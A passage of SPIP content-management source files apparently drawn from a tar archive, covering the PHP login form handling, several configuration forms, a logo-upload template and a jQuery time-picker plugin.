* * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Gestion du formulaire d'identification / de connexion à SPIP * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } include_spip('base/abstract_sql'); /** * Teste si une URL est une URL de l'espace privé (administration de SPIP) * ou de l'espace public * * @param string $cible URL * @return bool * true si espace privé, false sinon. **/ function is_url_prive($cible) { include_spip('inc/filtres_mini'); $path = parse_url(tester_url_absolue($cible) ? $cible : url_absolue($cible)); $path = (isset($path['path']) ? $path['path'] : ''); return strncmp(substr($path, -strlen(_DIR_RESTREINT_ABS)), _DIR_RESTREINT_ABS, strlen(_DIR_RESTREINT_ABS)) == 0; } /** * Chargement du formulaire de login * * Si on est déjà connecté, on redirige directement sur l'URL cible ! * * @uses auth_informer_login() * @uses is_url_prive() * @uses login_auth_http() * * @param string $cible * URL de destination après identification. * Cas spécifique : la valeur `@page_auteur` permet d'être redirigé * après connexion sur le squelette public de l'auteur qui se connecte. * @param string $login * Login de la personne à identifier (si connu) * @param null|bool $prive * Identifier pour l'espace privé (true), public (false) * ou automatiquement (null) en fonction de la destination de l'URL cible. * @return array * Environnement du formulaire **/ function formulaires_login_charger_dist($cible = '', $login = '', $prive = null) { $erreur = _request('var_erreur'); if (!$login) { $login = strval(_request('var_login')); } // si on est deja identifie if (!$login and isset($GLOBALS['visiteur_session']['email'])) { $login = $GLOBALS['visiteur_session']['email']; } if (!$login and isset($GLOBALS['visiteur_session']['login'])) { $login = $GLOBALS['visiteur_session']['login']; } // ou si on a un cookie admin if (!$login) { if (isset($_COOKIE['spip_admin']) and preg_match(',^@(.*)$,', $_COOKIE['spip_admin'], $regs) ) { $login = $regs[1]; } } include_spip('inc/auth'); $row = auth_informer_login($login); // Construire l'environnement du squelette // Ne pas proposer de "rester connecte quelques jours" // si la duree de l'alea est inferieure a 12 h (valeur par defaut) $valeurs = array( 'var_login' => $login, 'editable' => !$row, 'cnx' => isset($row['cnx']) ? $row['cnx'] : '0', 'auth_http' => login_auth_http(), 'rester_connecte' => ((_RENOUVELLE_ALEA < 12 * 3600) ? '' : ' '), '_logo' => isset($row['logo']) ? $row['logo'] : '', '_alea_actuel' => isset($row['alea_actuel']) ? $row['alea_actuel'] : '', '_alea_futur' => isset($row['alea_futur']) ? $row['alea_futur'] : '', '_pipeline' => 'affiche_formulaire_login', // faire passer le formulaire dans un pipe dedie pour les methodes auth ); if ($erreur or !isset($GLOBALS['visiteur_session']['id_auteur']) or !$GLOBALS['visiteur_session']['id_auteur']) { $valeurs['editable'] = true; } if (is_null($prive) ? is_url_prive($cible) : $prive) { include_spip('inc/autoriser'); $loge = autoriser('ecrire'); } else { $loge = (isset($GLOBALS['visiteur_session']['auth']) and $GLOBALS['visiteur_session']['auth'] != ''); } // Si on est connecte, appeler traiter() // et lancer la redirection si besoin if (!$valeurs['editable'] and $loge and _request('formulaire_action')!=='login') { $traiter = charger_fonction('traiter', 'formulaires/login'); $res = $traiter($cible, $login, $prive); $valeurs = array_merge($valeurs, $res); if (isset($res['redirect']) and $res['redirect']) { include_spip('inc/headers'); # preparer un lien pour quand redirige_formulaire ne fonctionne pas $m = redirige_formulaire($res['redirect']); $valeurs['_deja_loge'] = inserer_attribut( '<a>' . _T('login_par_ici') . "</a>$m", 'href', $res['redirect'] ); } } // en cas d'echec de cookie, inc_auth a renvoye vers le script de // pose de cookie ; s'il n'est pas la, c'est echec cookie // s'il est la, c'est probablement un bookmark sur bonjour=oui, // et pas un echec cookie. if ($erreur == 'cookie') { $valeurs['echec_cookie'] = ' '; } elseif ($erreur) { // une erreur d'un SSO indique dans la redirection vers ici // mais il faut se proteger de toute tentative d'injection malveilante include_spip('inc/filtres'); $valeurs['message_erreur'] = textebrut($erreur); } return $valeurs; } /** * Identification via HTTP (si pas de cookie) * * Gére le cas où un utilisateur ne souhaite pas de cookie : * on propose alors un formulaire pour s'authentifier via http * * @return string * - Si connection possible en HTTP : URL pour réaliser cette identification, * - chaîne vide sinon. **/ function login_auth_http() { if (!$GLOBALS['ignore_auth_http'] and _request('var_erreur') == 'cookie' and (!isset($_COOKIE['spip_session']) or $_COOKIE['spip_session'] != 'test_echec_cookie') and (($GLOBALS['flag_sapi_name'] and preg_match(',apache,i', @php_sapi_name())) or preg_match(',^Apache.* PHP,', $_SERVER['SERVER_SOFTWARE'])) // Attention dans le cas 'intranet' la proposition de se loger // par auth_http peut conduire a l'echec. and !(isset($_SERVER['PHP_AUTH_USER']) and isset($_SERVER['PHP_AUTH_PW'])) ) { return generer_url_action('cookie', '', false, true); } else { return ''; } } /** * Vérifications du formulaire de login * * Connecte la personne si l'identification réussie. * * @uses auth_identifier_login() * @uses auth_loger() * @uses login_autoriser() * * @param string $cible * URL de destination après identification. * Cas spécifique : la valeur `@page_auteur` permet d'être redirigé * après connexion sur le squelette public de l'auteur qui se connecte. * @param string $login * Login de la personne à identifier (si connu) * @param null|bool $prive * Identifier pour l'espace privé (true), public (false) * ou automatiquement (null) en fonction de la destination de l'URL cible. * @return array * Erreurs du formulaire **/ function formulaires_login_verifier_dist($cible = '', $login = '', $prive = null) { $session_login = _request('var_login'); $session_password = _request('password'); $session_remember = _request('session_remember'); if (!$session_login) { # pas de login saisi ! return array('var_login' => _T('info_obligatoire')); } // appeler auth_identifier_login qui va : // - renvoyer un string si echec (message d'erreur) // - un array decrivant l'auteur identifie si possible // - rediriger vers un SSO qui renverra in fine sur action/auth qui finira l'authentification include_spip('inc/auth'); $auteur = auth_identifier_login($session_login, $session_password); // on arrive ici si on ne s'est pas identifie avec un SSO if (!is_array($auteur)) { $erreurs = array(); if (is_string($auteur) and strlen($auteur)) { $erreurs['var_login'] = $auteur; } include_spip('inc/cookie'); spip_setcookie('spip_admin', '', time() - 3600); if (strlen($session_password)) { $erreurs['password'] = _T('login_erreur_pass'); } else { // sinon c'est un login en deux passe old style (ou js en panne) // pas de message d'erreur $erreurs['password'] = ' '; } return $erreurs; } // on a ete authentifie, construire la session // en gerant la duree demandee pour son cookie if ($session_remember !== null) { $auteur['cookie'] = $session_remember; } // si la connexion est refusee on renvoi un message erreur de mot de passe // car en donnant plus de detail on renseignerait un assaillant sur l'existence d'un compte if (auth_loger($auteur) === false) { $erreurs['message_erreur'] = _T('login_erreur_pass'); return $erreurs; } return (is_null($prive) ? is_url_prive($cible) : $prive) ? login_autoriser() : array(); } /** * Teste l'autorisation d'accéder à l'espace privé une fois une connexion * réussie, si la cible est une URL privée. * * Dans le cas contraire, un message d'erreur est retourné avec un lien * pour se déconnecter. * * @return array * - Erreur si un connecté n'a pas le droit d'acceder à l'espace privé * - tableau vide sinon. **/ function login_autoriser() { include_spip('inc/autoriser'); if (!autoriser('ecrire')) { $h = generer_url_action('logout', 'logout=prive&url=' . urlencode(self())); return array( 'message_erreur' => '<h1>' . _T('avis_erreur_visiteur') . '</h1><p>' . _T('texte_erreur_visiteur') . "</p><p class='retour'>[<a href='$h'>" . _T('icone_deconnecter') . '</a>]</p>' ); } return array(); } /** * Traitements du formulaire de login * * On arrive ici une fois connecté. * On redirige simplement sur l'URL cible désignée. * * @param string $cible * URL de destination après identification. * Cas spécifique : la valeur `@page_auteur` permet d'être redirigé * après connexion sur le squelette public de l'auteur qui se connecte. * @param string $login * Login de la personne à identifier (si connu) * @param null|bool $prive * Identifier pour l'espace privé (true), public (false) * ou automatiquement (null) en fonction de la destination de l'URL cible. * @return array * Retours du traitement **/ function formulaires_login_traiter_dist($cible = '', $login = '', $prive = null) { $res = array(); // Si on se connecte dans l'espace prive, // ajouter "bonjour" (repere a peu pres les cookies desactives) if (is_null($prive) ? is_url_prive($cible) : $prive) { $cible = parametre_url($cible, 'bonjour', 'oui', '&'); } if ($cible == '@page_auteur') { $cible = generer_url_entite($GLOBALS['auteur_session']['id_auteur'], 'auteur'); } if ($cible) { $cible = parametre_url($cible, 'var_login', '', '&'); // transformer la cible absolue en cible relative // pour pas echouer quand la meta adresse_site est foireuse if (strncmp($cible, $u = url_de_base(), strlen($u)) == 0) { $cible = './' . substr($cible, strlen($u)); } elseif (tester_url_absolue($cible) and !defined('_AUTORISER_LOGIN_ABS_REDIRECT')) { // si c'est une url absolue, refuser la redirection // sauf si cette securite est levee volontairement par le webmestre $cible = ''; } } // Si on est connecte, envoyer vers la destination if ($cible and ($cible != self('&')) and ($cible != self())) { $res['redirect'] = $cible; $res['message_ok'] = inserer_attribut( '<a>' . _T('login_par_ici') . '</a>', 'href', $cible ); } // avant de rediriger il faut mettre a jour les sessions sur le disque si on a charge une session if (function_exists('terminer_actualiser_sessions')) { terminer_actualiser_sessions(); } return $res; } configurer_rubriques.php000060400000002433152526232120011517 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_rubriques_charger_dist() { $valeurs = array(); foreach (array( 'rubriques_descriptif', 'rubriques_texte' ) as $m) { $valeurs[$m] = $GLOBALS['meta'][$m]; } return $valeurs; } function formulaires_configurer_rubriques_traiter_dist() { $res = array('editable' => true); foreach (array( 'rubriques_descriptif', 'rubriques_texte' ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } $res['message_ok'] = _T('config_info_enregistree'); return $res; } configurer_preferences_menus.php000060400000005434152526232120013212 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Formulaire de configuration des préférences auteurs dans l'espace privé * * Ces préférences sont stockées dans la clé `prefs` dans la session de l'auteur * en tant que tableau, ainsi que dans la colonne SQL `prefs` de spip_auteurs * sous forme sérialisée. * * @package SPIP\Core\Formulaires **/ include_spip('inc/bandeau'); include_spip('inc/filtres'); /** * Chargement du formulaire de préférence des menus d'un auteur dans l'espace privé * * @return array * Environnement du formulaire **/ function formulaires_configurer_preferences_menus_charger_dist() { // travailler sur des meta fraîches include_spip('inc/meta'); lire_metas(); $valeurs = array(); $valeurs['activer_menudev'] = table_valeur($GLOBALS['visiteur_session'], 'prefs/activer_menudev', 'non'); $valeurs['menus_favoris'] = obtenir_menus_favoris(); return $valeurs; } /** * Traitements du formulaire de préférence des menus d'un auteur dans l'espace privé * * @return array * Retours des traitements **/ function formulaires_configurer_preferences_menus_traiter_dist() { $activer_menudev = _request('activer_menudev'); $menus_favoris = _request('menus_favoris'); $menus_favoris = array_filter($menus_favoris); $menus_favoris = array_map('intval', $menus_favoris); if (_request('reset')) { $menus_favoris = array(); set_request('menus_favoris', null); } // si le menu dev change, ou les menus favoris, on recharge toute la page. if ( table_valeur($GLOBALS['visiteur_session'], 'prefs/activer_menudev') != $activer_menudev OR $menus_favoris != obtenir_menus_favoris() ) { refuser_traiter_formulaire_ajax(); $GLOBALS['visiteur_session']['prefs']['activer_menudev'] = $activer_menudev; $GLOBALS['visiteur_session']['prefs']['menus_favoris'] = $menus_favoris; if (intval($GLOBALS['visiteur_session']['id_auteur'])) { include_spip('action/editer_auteur'); $c = array('prefs' => serialize($GLOBALS['visiteur_session']['prefs'])); auteur_modifier($GLOBALS['visiteur_session']['id_auteur'], $c); } } return array('message_ok' => _T('config_info_enregistree'), 'editable' => true); } configurer_multilinguisme.php000060400000011453152526232120012547 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ if (!defined('_ECRIRE_INC_VERSION')) { return; } function formulaires_configurer_multilinguisme_charger_dist() { $valeurs = array(); $valeurs['multi_secteurs'] = $GLOBALS['meta']['multi_secteurs']; foreach (array('multi_objets', 'gerer_trad_objets') as $m) { $valeurs[$m] = explode(',', isset($GLOBALS['meta'][$m]) ? $GLOBALS['meta'][$m] : ''); } if (count($valeurs['multi_objets']) or count(explode(',', $GLOBALS['meta']['langues_utilisees'])) > 1 ) { $selection = (is_null(_request('multi_objets')) ? explode(',', $GLOBALS['meta']['langues_multilingue']) : _request('langues_auth')); $valeurs['_langues'] = saisie_langues_utiles('langues_auth', $selection ? $selection : array()); $valeurs['_nb_langues_selection'] = count($selection); } return $valeurs; } function formulaires_configurer_multilinguisme_traiter_dist() { $res = array('editable' => true); // un checkbox seul de name X non coche n'est pas poste. // on verifie le champ X_check qui indique que la checkbox etait presente dans le formulaire. foreach (array('multi_secteurs') as $m) { if (!is_null(_request($m . '_check'))) { ecrire_meta($m, _request($m) ? 'oui' : 'non'); } } foreach (array('multi_objets', 'gerer_trad_objets') as $m) { if (!is_null($v = _request($m))) { // join et enlever la valeur vide '' ecrire_meta($m, implode(',', array_diff($v, array('')))); } } if ($i = _request('langues_auth') and is_array($i)) { $i = array_unique(array_merge($i, explode(',', $GLOBALS['meta']['langues_utilisees']))); ecrire_meta('langues_multilingue', implode(',', $i)); } $res['message_ok'] = _T('config_info_enregistree'); return $res; } /** * Tester si une table supporte les langues (champ lang) * * @param string $table_sql * @return string */ function table_supporte_lang($table_sql) { $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table_sql); if (!$desc or !isset($desc['field']['lang'])) { return ''; } return ' '; } /** * Tester si une table supporte les traductions (champ id_trad) * * @param string $table_sql * @return string */ function table_supporte_trad($table_sql) { $trouver_table = charger_fonction('trouver_table', 'base'); $desc = $trouver_table($table_sql); if (!$desc or !isset($desc['field']['id_trad'])) { return ''; } return ' '; } function saisie_langues_utiles($name, $selection) { include_spip('inc/lang_liste'); $langues = $GLOBALS['codes_langues']; $langues_installees = explode(',', $GLOBALS['meta']['langues_proposees']); $langues_trad = array_flip($langues_installees); $langues_bloquees = explode(',', $GLOBALS['meta']['langues_utilisees']); $res = ''; $i = 0; foreach ($langues_bloquees as $code_langue) { $nom_langue = $langues[$code_langue]; $res .= "<li class='choix " . alterner(++$i, 'odd', 'even') . (isset($langues_trad[$code_langue]) ? ' traduite' : '') . "'>" . "<input type='hidden' name='{$name}[]' value='$code_langue'>" // necessaire ... . "<input type='checkbox' name='{$name}[]' id='{$name}_$code_langue' value='$code_langue' checked='checked' disabled='disabled' />" . "<label for='{$name}_$code_langue'>" . $nom_langue . " <span class='code_langue'>[$code_langue]</span></label>" . '</li>'; } if ($res) { $res = "<ul id='langues_bloquees'>" . $res . "</ul><div class='nettoyeur'></div>"; } $res .= "<ul id='langues_proposees'>"; $i = 0; $langues_bloquees = array_flip($langues_bloquees); foreach ($langues as $code_langue => $nom_langue) { if (!isset($langues_bloquees[$code_langue])) { $checked = (in_array($code_langue, $selection) ? ' checked="checked"' : ''); $res .= "<li class='choix " . alterner(++$i, 'odd', 'even') . (isset($langues_trad[$code_langue]) ? ' traduite' : '') . "'>" . "<input type='checkbox' name='{$name}[]' id='{$name}_$code_langue' value='$code_langue'" . $checked . '/>' . "<label for='{$name}_$code_langue'" . ($checked ? " class='on'" : '') . '>' . $nom_langue . " <span class='code_langue'>[$code_langue]</span></label>" . '</li>'; } } $res .= "</ul><div class='nettoyeur'></div>"; return $res; } configurer_reducteur.php000060400000007460152526232120011505 0ustar00<?php /***************************************************************************\ * SPIP, Systeme de publication pour l'internet * * * * Copyright (c) 2001-2019 * * Arnaud Martin, Antoine Pitrou, Philippe Riviere, Emmanuel Saint-James * * * * Ce programme est un logiciel libre distribue sous licence GNU/GPL. * * Pour plus de details voir le fichier COPYING.txt ou l'aide en ligne. * \***************************************************************************/ /** * Formulaire de configuration pour choisir la librairie graphique * et les tailles de redimensionnement des vignettes * * @package SPIP\Core\Formulaires **/ if (!defined('_ECRIRE_INC_VERSION')) { return; } /** * Chargement du formulaire de configuration de la librairie graphique * * @return array * Environnement du formulaire **/ function formulaires_configurer_reducteur_charger_dist() { $valeurs = array(); foreach (array( 'image_process', 'formats_graphiques', 'creer_preview', 'taille_preview', ) as $m) { $valeurs[$m] = isset($GLOBALS['meta'][$m]) ? $GLOBALS['meta'][$m] : null; } $valeurs['taille_preview'] = intval($valeurs['taille_preview']); if ($valeurs['taille_preview'] < 10) { $valeurs['taille_preview'] = 120; } return $valeurs; } /** * Traitements du formulaire de configuration de la librairie graphique * * @return array * Retours des traitements **/ function formulaires_configurer_reducteur_traiter_dist() { $res = array('editable' => true); if (is_array($image_process = _request('image_process_'))) { $image_process = array_keys($image_process); $image_process = reset($image_process); // application du choix de vignette if ($image_process) { // mettre a jour les formats graphiques lisibles switch ($image_process) { case 'gd1': case 'gd2': $formats_graphiques = $GLOBALS['meta']['gd_formats_read']; break; case 'netpbm': $formats_graphiques = $GLOBALS['meta']['netpbm_formats']; break; case 'convert': case 'imagick': $formats_graphiques = 'gif,jpg,png'; break; default: #debug $formats_graphiques = ''; $image_process = 'non'; break; } ecrire_meta('formats_graphiques', $formats_graphiques, 'non'); ecrire_meta('image_process', $image_process, 'non'); } } foreach (array( 'creer_preview' ) as $m) { if (!is_null($v = _request($m))) { ecrire_meta($m, $v == 'oui' ? 'oui' : 'non'); } } if (!is_null($v = _request('taille_preview'))) { ecrire_meta('taille_preview', intval($v)); } $res['message_ok'] = _T('config_info_enregistree'); return $res; } /** * Indique si une librairie graphique peut être utilisée et retourne alors * une URL pour tester la librairie * * @param string $process * Code de la libriairie, parmi gd2, gd1, netpbm, imagick ou convert * @return string * URL d'action pour tester la librairie graphique en créant une vignette **/ function url_vignette_choix($process) { switch ($process) { case 'gd2': if (!function_exists('ImageCreateTrueColor')) { return ''; } break; case 'gd1': if (!function_exists('ImageGif') and !function_exists('ImageJpeg') and !function_exists('ImagePng') ) { return ''; } break; case 'netpbm': if (defined('_PNMSCALE_COMMAND') and _PNMSCALE_COMMAND == '') { return ''; } break; case 'imagick': if (!method_exists('Imagick', 'readImage')) { return ''; } break; case 'convert': if (defined('_CONVERT_COMMAND') and _CONVERT_COMMAND == '') { return ''; } break; } return generer_url_action('tester', "arg=$process&time=" . time()); } editer_logo.html000060400000005704152526232120007730 0ustar00#CACHE{0} [(#CONFIG{activer_logos}|=={oui}|oui)<div class='formulaire_spip formulaire_editer formulaire_editer_logo formulaire_editer_logo_#ENV{objet}'> [<h3 class="titrem">(#ENV{_options}|table_valeur{titre})</h3>] [<p class="reponse_formulaire reponse_formulaire_ok">(#ENV*{message_ok})</p>] [<p class="reponse_formulaire reponse_formulaire_erreur">(#ENV*{message_erreur})</p>] [(#ENV{editable}) #SET{valider,#ENV{valider,''}} <form method='post' action='#ENV{action}' enctype='multipart/form-data'><div> [(#REM) declarer les hidden qui declencheront le service du formulaire parametre : url d'action ] #ACTION_FORMULAIRE [(#REM) un submit pour attraper la touche entree] <div style="display:none;"><input type='submit' class='submit' value='<:bouton_upload:>' /></div> ] <div class="editer-groupe"> <div class="editer editer_logo_on[ (#ENV{logo_on}|non)logo_upload][ (#ENV**{erreurs}|table_valeur{logo_on}|oui)erreur]"> [(#ENV{logo_on}|oui) [(#INCLURE{fond=formulaires/inc-apercu-logo,env,logo=#ENV{logo_on},quoi=logo_on,editable=#ENV{logo_off}|non|et{#ENV{editable}}})] ][(#ENV{editable}) [(#ENV{logo_on}|non) <label for="logo_on_#ENV{objet}_#ENV{id_objet}">[(#ENV{_options}|table_valeur{label}|sinon{<:info_telecharger_nouveau_logo:>})]</label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{logo_on})</span> ]<input type='file' class='file' name='logo_on' size="[(#ENV{_options}|table_valeur{size_input}|sinon{12})]" id='logo_on_#ENV{objet}_#ENV{id_objet}' value="" /> #SET{valider,' '} ] ] </div> [(#ENV{logo_survol}|ou{#ENV{logo_off}}|oui) <div class="editer editer_logo_off[ (#ENV{logo_off}|non)logo_upload][(#ENV{_show_upload_off}|oui)open][ (#ENV**{erreurs}|table_valeur{logo_off}|oui)erreur]"> [(#ENV{logo_off}|oui) [(#INCLURE{fond=formulaires/inc-apercu-logo,env,logo=#ENV{logo_off},quoi=logo_off,editable=#ENV{editable}})] ][(#ENV{editable}) [(#ENV{logo_off}|non) <div [(#ENV**{erreurs}|table_valeur{logo_off}|non) class="ajouter_survol"><a href="#" onclick="jQuery(this).parent().siblings().show().parent().addClass('open').parents('form').find('.boutons').show();return false;"><:logo_survol:></a></div> <div [(#ENV{_show_upload_off}|non)style="display:none;" #SET{hide,' '}]]> <label for="logo_off"><:info_telecharger_nouveau_logo:></label>[ <span class='erreur_message'>(#ENV**{erreurs}|table_valeur{logo_off})</span> ]<input type='file' class='file' name='logo_off' size="[(#ENV{_options}|table_valeur{size_input}|sinon{12})]" id='logo_off_#ENV{objet}_#ENV{id_objet}' value="" /> #SET{valider,' '} </div> ] ] </div> ] </div> [(#REM) ajouter les saisies supplementaires : extra et autre, a cet endroit ] <!--extra--> [(#ENV{editable}) [(#GET{valider}) <p class="boutons"[(#GET{hide})style='display:none;']><input type='submit' class='submit' value='<:bouton_upload:>' /></p> ] </div></form> ] </div> ]dateur/jquery.time_picker.js000060400000021576152526232120012206 0ustar00/** https://github.com/perifer/timePicker - b5195df3 */ /* * A time picker for jQuery * * Dual licensed under the MIT and GPL licenses. * Copyright (c) 2009 Anders Fajerson * @name timePicker * @author Anders Fajerson (http://perifer.se) * @example $("#mytime").timePicker(); * @example $("#mytime").timePicker({step:30, startTime:"15:00", endTime:"18:00"}); * * Based on timePicker by Sam Collet (http://www.texotela.co.uk/code/jquery/timepicker/) * * Options: * step: # of minutes to step the time by * startTime: beginning of the range of acceptable times * endTime: end of the range of acceptable times * separator: separator string to use between hours and minutes (e.g. ':') * show24Hours: use a 24-hour scheme */ (function($){ $.fn.timePicker = function(options) { // Build main options before element iteration var settings = $.extend({}, $.fn.timePicker.defaults, options); return this.each(function() { $.timePicker(this, settings); }); }; $.timePicker = function (elm, settings) { var e = $(elm)[0]; return e.timePicker || (e.timePicker = new jQuery._timePicker(e, settings)); }; $.timePicker.version = '0.3'; $._timePicker = function(elm, settings) { var tpOver = false; var keyDown = false; var startTime = timeToDate(settings.startTime, settings); var endTime = timeToDate(settings.endTime, settings); var selectedClass = "selected"; var selectedSelector = "li." + selectedClass; $(elm).attr('autocomplete', 'OFF'); // Disable browser autocomplete var times = []; var time = new Date(startTime); // Create a new date object. while(time <= endTime) { times[times.length] = formatTime(time, settings); time = new Date(time.setMinutes(time.getMinutes() + settings.step)); } var $tpDiv = $('<div class="time-picker'+ (settings.show24Hours ? '' : ' time-picker-12hours') +'"></div>'); var $tpList = $('<ul></ul>'); // Build the list. for(var i = 0; i < times.length; i++) { $tpList.append("<li>" + times[i] + "</li>"); } $tpDiv.append($tpList); // Append the timPicker to the body and position it. $tpDiv.appendTo('body').hide(); // Store the mouse state, used by the blur event. Use mouseover instead of // mousedown since Opera fires blur before mousedown. $tpDiv.mouseover(function() { tpOver = true; }).mouseout(function() { tpOver = false; }); $("li", $tpList).mouseover(function() { if (!keyDown) { $(selectedSelector, $tpDiv).removeClass(selectedClass); $(this).addClass(selectedClass); } }).mousedown(function() { tpOver = true; }).click(function() { setTimeVal(elm, this, $tpDiv, settings); tpOver = false; }); var showPicker = function() { if ($tpDiv.is(":visible")) { return false; } $("li", $tpDiv).removeClass(selectedClass); // Position var elmOffset = $(elm).offset(); $tpDiv.css({'top':elmOffset.top + elm.offsetHeight, 'left':elmOffset.left}); // Show picker. This has to be done before scrollTop is set since that // can't be done on hidden elements. $tpDiv.show(); // Try to find a time in the list that matches the entered time. var time = elm.value ? timeStringToDate(elm.value, settings) : startTime; var startMin = startTime.getHours() * 60 + startTime.getMinutes(); var min = (time.getHours() * 60 + time.getMinutes()) - startMin; var steps = Math.round(min / settings.step); var roundTime = normaliseTime(new Date(0, 0, 0, 0, (steps * settings.step + startMin), 0)); roundTime = (startTime < roundTime && roundTime <= endTime) ? roundTime : startTime; var $matchedTime = $("li:contains(" + formatTime(roundTime, settings) + ")", $tpDiv); if ($matchedTime.length) { $matchedTime.addClass(selectedClass); // Scroll to matched time. $tpDiv[0].scrollTop = $matchedTime[0].offsetTop; } return true; }; // Attach to click as well as focus so timePicker can be shown again when // clicking on the input when it already has focus. $(elm).focus(showPicker).click(showPicker); // Hide timepicker on blur $(elm).blur(function() { if (!tpOver) { $tpDiv.hide(); } }); // Keypress doesn't repeat on Safari for non-text keys. // Keydown doesn't repeat on Firefox and Opera on Mac. // Using kepress for Opera and Firefox and keydown for the rest seems to // work with up/down/enter/esc. var event = ($.browser.opera || $.browser.mozilla) ? 'keypress' : 'keydown'; $(elm)[event](function(e) { var $selected; keyDown = true; var top = $tpDiv[0].scrollTop; switch (e.keyCode) { case 38: // Up arrow. // Just show picker if it's hidden. if (showPicker()) { return false; }; $selected = $(selectedSelector, $tpList); var prev = $selected.prev().addClass(selectedClass)[0]; if (prev) { $selected.removeClass(selectedClass); // Scroll item into view. if (prev.offsetTop < top) { $tpDiv[0].scrollTop = top - prev.offsetHeight; } } else { // Loop to next item. $selected.removeClass(selectedClass); prev = $("li:last", $tpList).addClass(selectedClass)[0]; $tpDiv[0].scrollTop = prev.offsetTop - prev.offsetHeight; } return false; break; case 40: // Down arrow, similar in behaviour to up arrow. if (showPicker()) { return false; }; $selected = $(selectedSelector, $tpList); var next = $selected.next().addClass(selectedClass)[0]; if (next) { $selected.removeClass(selectedClass); if (next.offsetTop + next.offsetHeight > top + $tpDiv[0].offsetHeight) { $tpDiv[0].scrollTop = top + next.offsetHeight; } } else { $selected.removeClass(selectedClass); next = $("li:first", $tpList).addClass(selectedClass)[0]; $tpDiv[0].scrollTop = 0; } return false; break; case 13: // Enter if ($tpDiv.is(":visible")) { var sel = $(selectedSelector, $tpList)[0]; setTimeVal(elm, sel, $tpDiv, settings); } return false; break; case 27: // Esc $tpDiv.hide(); return false; break; } return true; }); $(elm).keyup(function(e) { keyDown = false; }); // Helper function to get an inputs current time as Date object. // Returns a Date object. this.getTime = function() { return timeStringToDate(elm.value, settings); }; // Helper function to set a time input. // Takes a Date object or string. this.setTime = function(time) { elm.value = formatTime(timeToDate(time, settings), settings); // Trigger element's change events. $(elm).change(); }; }; // End fn; // Plugin defaults. $.fn.timePicker.defaults = { step:30, startTime: new Date(0, 0, 0, 0, 0, 0), endTime: new Date(0, 0, 0, 23, 30, 0), separator: ':', show24Hours: true }; // Private functions. function setTimeVal(elm, sel, $tpDiv, settings) { // Update input field elm.value = $(sel).text(); // Trigger element's change events. $(elm).change(); // Keep focus for all but IE (which doesn't like it) if (!$.browser.msie) { elm.focus(); } // Hide picker $tpDiv.hide(); } function formatTime(time, settings) { var h = time.getHours(); var hours = settings.show24Hours ? h : (((h + 11) % 12) + 1); var minutes = time.getMinutes(); return formatNumber(hours) + settings.separator + formatNumber(minutes) + (settings.show24Hours ? '' : ((h < 12) ? ' AM' : ' PM')); } function formatNumber(value) { return (value < 10 ? '0' : '') + value; } function timeToDate(input, settings) { return (typeof input == 'object') ? normaliseTime(input) : timeStringToDate(input, settings); } function timeStringToDate(input, settings) { if (input) { var array = input.split(settings.separator); var hours = parseFloat(array[0]); var minutes = parseFloat(array[1]); // Convert AM/PM hour to 24-hour format. if (!settings.show24Hours) { if (hours === 12 && input.indexOf('AM') !== -1) { hours = 0; } else if (hours !== 12 && input.indexOf('PM') !== -1) { hours += 12; } } var time = new Date(0, 0, 0, hours, minutes, 0); return normaliseTime(time); } return null; } /* Normalise time object to a common date. */ function normaliseTime(time) { time.setFullYear(2001); time.setMonth(0); time.setDate(0); return time; } })(jQuery); dateur/jquery.dateur.js.html000060400000000326152526232120012130 0ustar00#HTTP_HEADER{Content-Type: text/js;} [(#REM)<script>] if (!jQuery.fn.datepicker){ #INCLURE{prive/javascript/ui/jquery-ui.js} } if (!jQuery.fn.timePicker){ #INCLURE{prive/formulaires/dateur/jquery.time_picker.js} } dateur/inc-dateur.html000060400000010663152526232120010753 0ustar00<script type='text/javascript'>/*<![CDATA[*/ function date_picker_options(){ return { buttonText: '', buttonImage: '#CHEMIN_IMAGE{calendrier-16.png}', buttonImageOnly: true, closeText: '<:bouton_fermer|texte_script:>', prevText: '<:precedent|texte_script:>', nextText: '<:suivant|texte_script:>', currentText: '<:date_aujourdhui|texte_script:>', monthNames: [ '<:date_mois_1|texte_script:>','<:date_mois_2|texte_script:>','<:date_mois_3|texte_script:>','<:date_mois_4|texte_script:>','<:date_mois_5|texte_script:>','<:date_mois_6|texte_script:>', '<:date_mois_7|texte_script:>','<:date_mois_8|texte_script:>','<:date_mois_9|texte_script:>','<:date_mois_10|texte_script:>','<:date_mois_11|texte_script:>','<:date_mois_12|texte_script:>'], monthNamesShort: [ '<:date_mois_1_abbr|texte_script:>','<:date_mois_2_abbr|texte_script:>','<:date_mois_3_abbr|texte_script:>','<:date_mois_4_abbr|texte_script:>','<:date_mois_5_abbr|texte_script:>','<:date_mois_6_abbr|texte_script:>', '<:date_mois_7_abbr|texte_script:>','<:date_mois_8_abbr|texte_script:>','<:date_mois_9_abbr|texte_script:>','<:date_mois_10_abbr|texte_script:>','<:date_mois_11_abbr|texte_script:>','<:date_mois_12_abbr|texte_script:>'], dayNames: 